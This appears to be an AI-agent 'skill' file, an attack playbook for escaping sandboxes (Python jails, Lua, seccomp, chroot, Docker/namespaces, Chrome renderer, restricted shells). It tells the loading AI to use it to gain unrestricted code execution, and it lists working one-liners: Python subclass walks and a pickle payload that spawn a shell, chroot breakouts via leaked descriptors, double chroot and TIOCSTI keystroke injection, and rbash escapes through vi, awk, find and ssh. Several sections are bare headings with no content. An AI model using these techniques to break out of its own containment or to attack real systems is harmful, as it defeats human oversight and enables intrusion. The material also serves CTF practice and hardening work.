Sandbox escape playbook. Use when breaking out of Python sandbox, Lua sandbox, seccomp filter, chroot jail, container/Docker, browser sandbox, or namespace isolation to achieve unrestricted code execution or file access.

SKILL: Sandbox Escape — Expert Attack Playbook AI LOAD INSTRUCTION : Expert sandbox escape techniques across Python, Lua, seccomp, chroot, Docker/container, and browser sandbox contexts. Covers CTF pyjail patterns, seccomp architecture confusion, chroot fd leaks, namespace escape, and Mojo IPC abuse. Distilled from ctf wiki sandbox sections and real world container escapes. Base models often miss the distinction between sandbox types and apply wrong escape techniques. 0. RELATED ROUTING [browser exploitation v8](../browser exploitation v8/SKILL.md) — V8 exploitation for renderer RCE before browser sandbox escape [container escape techniques](../container escape techniques/SKILL.md) — Docker/container specific escape techniques [kernel exploitation](../kernel exploitation/SKILL.md) — kernel exploit for container/namespace escape [linux privilege escalation](../linux privilege escalation/SKILL.md) — post escape privilege escalation Advanced References [PYTHON SANDBOX ESCAPE.md](./PYTHON SANDBOX ESCAPE.md) — Full pyjail methodology: builtins recovery, keyword bypass, AST bypass, pickle escape [SECCOMP BYPASS.md](./SECCOMP BYPASS.md) — Architecture confusion, io uring bypass, ptrace bypass, allowed syscall chaining 1. SANDBOX TYPE IDENTIFICATION Sandbox Type Indicators Typical Context Python sandbox (pyjail) Limited builtins, filtered keywords, exec / eval available CTF, online judges, Jupyter Lua sandbox No os , io modules; restricted metatables Game scripting, config seccomp syscall filtering, prctl(PR SET SECCOMP) CTF pwn, container hardening chroot Changed root filesystem, limited /proc access Legacy isolation Docker/container Namespaces, cgroups, reduced capabilities Cloud, microservices Browser (renderer) OS level sandbox (seccomp bpf + namespaces on Linux) Chrome, Firefox Namespace isolation PID/mount/network/user namespace Container runtimes 2. PYTHON SANDBOX ESCAPE (OVERVIEW) See [PYTHON SANDBOX ESCAPE.md](./PYTHON SANDBOX ESCAPE.md) for full methodology. Quick Reference Technique One Liner Subclass walk (). class . bases [0]. subclasses () → find os. wrap close → init . globals ['system'] Import recovery builtins . import ('os').system('sh') getattr bypass getattr(getattr( builtins , ' imp'+'ort '), ' call ')('os') chr construction eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)) Pickle escape pickle.loads(b"cos\nsystem\n(S'sh'\ntR.") Code object Construct types.CodeType(...) then exec() with custom bytecode 3. LUA SANDBOX ESCAPE Restricted Environment Bypass Lua FFI Escape (LuaJIT) 4. CHROOT ESCAPE Technique Condition Method Open fd to real root File descriptor leaked from outside chroot fchdir(leaked fd) then chroot(".") Double chroot Process is root inside chroot mkdir("x"); chroot("x"); chdir("../../../..") TIOCSTI ioctl Terminal access (fd 0 is a TTY) Inject keystrokes to parent shell via ioctl(0, TIOCSTI, &c) /proc access /proc mounted inside chroot /proc/1/root/ → access real root filesystem ptrace CAP SYS PTRACE Attach to process outside chroot Mount namespace Privileged Mount real root into chroot Double Chroot Escape 5. BROWSER SANDBOX ESCAPE (OVERVIEW) Chrome Sandbox Architecture (Linux) Escape Vectors Vector Description Mojo IPC bug UAF or type confusion in Mojo interface handler in browser process Shared memory corruption Corrupt shared memory segments between renderer and browser GPU process bug Exploit GPU process (less sandboxed) as stepping stone Kernel exploit Escape directly via kernel vulnerability (bypasses all sandboxing) Signal handling Race condition in signal delivery across sandbox boundary Mojo Interface Attack Pattern 6. NAMESPACE ESCAPE User Namespace Escalation PID Namespace Escape Mount Namespace Tricks 7. RBASH / RESTRICTED SHELL ESCAPE Technique Method vi/vim :!/bin/bash or :set shell=/bin/bash then :shell less/more !/bin/bash awk awk 'BEGIN {system("/bin/bash")}' find find / exec /bin/bash \; python/perl/ruby python c 'import pty;pty.spawn("/bin/bash")' ssh ssh user@host t /bin/bash Environment export PATH=/usr/bin:/bin; /bin/bash cp Copy /bin/bash to allowed directory git git help config → then !/bin/bash in pager Encoding echo /bin/bash base64 d sh 8. DECISION TREE

sandbox-escape-techniques